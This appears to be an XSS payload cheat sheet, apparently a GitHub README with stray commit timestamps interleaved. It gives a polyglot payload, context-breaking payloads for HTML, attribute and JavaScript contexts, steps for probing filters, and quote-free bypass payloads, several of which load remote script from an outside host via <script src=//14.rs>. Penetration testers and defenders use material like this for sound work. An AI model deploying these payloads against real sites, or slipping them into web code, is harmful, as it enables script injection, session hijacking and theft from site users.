Here's an interesting XSS polyglot by [Ahmed Elsobky](https://github.com/0xsobky/):
```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

### Awesome Tags & Event Handlers

- [200 Event Handlers without description](http://pastebin.com/raw/WwcBmz5J)
2018-03-22 13:04:27 +00:00
Some HTML Tags that you will be using
```
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
```
2018-03-11 15:51:25 +00:00
### Awesome Context Breaking
#### Simple Context
```
<svg onload=alert()>
</tag><svg onload=alert()>
```
#### Attribute Context
```
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
```
#### JavaScript Context
```
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
```
2018-03-21 06:48:10 +00:00
### Awesome Confirm Variants
Yep, confirm because alert is too mainstream.
```
confirm()
confirm``
(((confirm)))``
new class extends confirm``{}
```

### Awesome Probing
If nothing of this works, take a look at **Awesome Bypassing** section
First of all, enter a non-malicious string like **d3v** and look at the source code to get an idea about number and contexts of refelections.
2018-03-21 08:14:41 +00:00
<br>Now for attribute context, check if double quotes (") are being filtered by entering **x"d3v**. If it gets altered to **x&amp;quot;d3v**, chances are that proper security measures are in place. If this happens, try doing the same for single quotes (') by entering **x'd3v**, if it gets altered to **x&amp;apos;**, you are doomed. The only thing you can try is encoding.<br>
2018-03-12 08:06:37 +00:00
If the quotes are not being filtered, you can simply try payloads from **Awesome Context Breaking** section.
<br>For javascript context, check which quotes are being used for example if they are doing
```
variable = 'value' or variable = "value"
```
2018-03-21 09:44:55 +00:00
Now lets say single quotes (') are in use, in that case enter **x'd3v**. If it gets altered to **x\\'d3v**, try escaping the backslash (\) by adding a backslash to your probe i.e. **x\\'d3v**. If it works use the following payload:
2018-03-12 08:06:37 +00:00
```
\'-alert()-\'
```
But if it gets altered to **x\\'d3v**, the only thing you can try is closing the script tag itself by using
```
</script><svg onload=alert()>
```
2018-03-21 08:14:41 +00:00
For simple HTML context, the probe is **x&gt;d3v**. If it gets altered to **x&amp;gt;d3v**, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potenial filters. The dummy tag I like to use is **x&lt;xxx&gt;**. If it gets stripped or altered in any way, it means the filter is looking for a pair of **<** and **>**. It can simply bypassed using
2018-03-12 08:06:37 +00:00
```
<svg onload=alert()//
```
or this (it will not work in all cases)
```
<svg onload=alert()
```
If the your dummy tags lands in the source code as it is, go for any of these payloads
```
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
```
### Awesome Bypassing
2018-03-21 09:44:55 +00:00
**Note:** None of these payloads use single (') or double quotes (").
- Without event handlers
```
<object data=javascript:confirm()>
<script src=//14.rs>
<script>confirm()</script>
```
- Without space
```
<svg/onload=confirm()>
```
- Without slash (/)
```
<svg onload=confirm()>
<img src=x onerror=confirm()>
```
- Without equal sign (=)
```
<script>confirm()</script>
```
- Without closing angular bracket (>)
```
<svg onload=confirm()//
```
- Without alert, confirm, prompt
```
2018-03-22 08:08:43 +00:00
<script src=//14.rs></script>
2018-03-21 09:44:55 +00:00
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
```
- Without a Valid HTML tag
```
<x onclick=confirm()>click here
```

### Awesome Tips & Tricks
2018-03-12 11:25:26 +00:00
- http(s):// can be shortened to // or /\.
2018-03-11 15:51:25 +00:00
- **document.cookie** can be shortened to **cookie**. It applies to other DOM objects as well.
2018-03-21 09:44:55 +00:00
- alert and other pop-up functions don't need a value, so stop doing **alert('XSS')** and start doing **alert()**
- You can use **//** to close a tag instead of **>**.
2018-03-11 16:05:42 +00:00
- I have found that **confirm** is the least detected pop-up function so stop using **alert**.
2018-03-21 09:44:55 +00:00
- Quotes around attribute value aren't neccessary as long as it doesn't contain spaces. You can use **&lt;script src=//14.rs&gt;** instead of **&lt;script src="//14.rs"&glt;**
- The shortest independent "XSS" payload is **&lt;embed src=//14.rs&gt;** (19 chars)
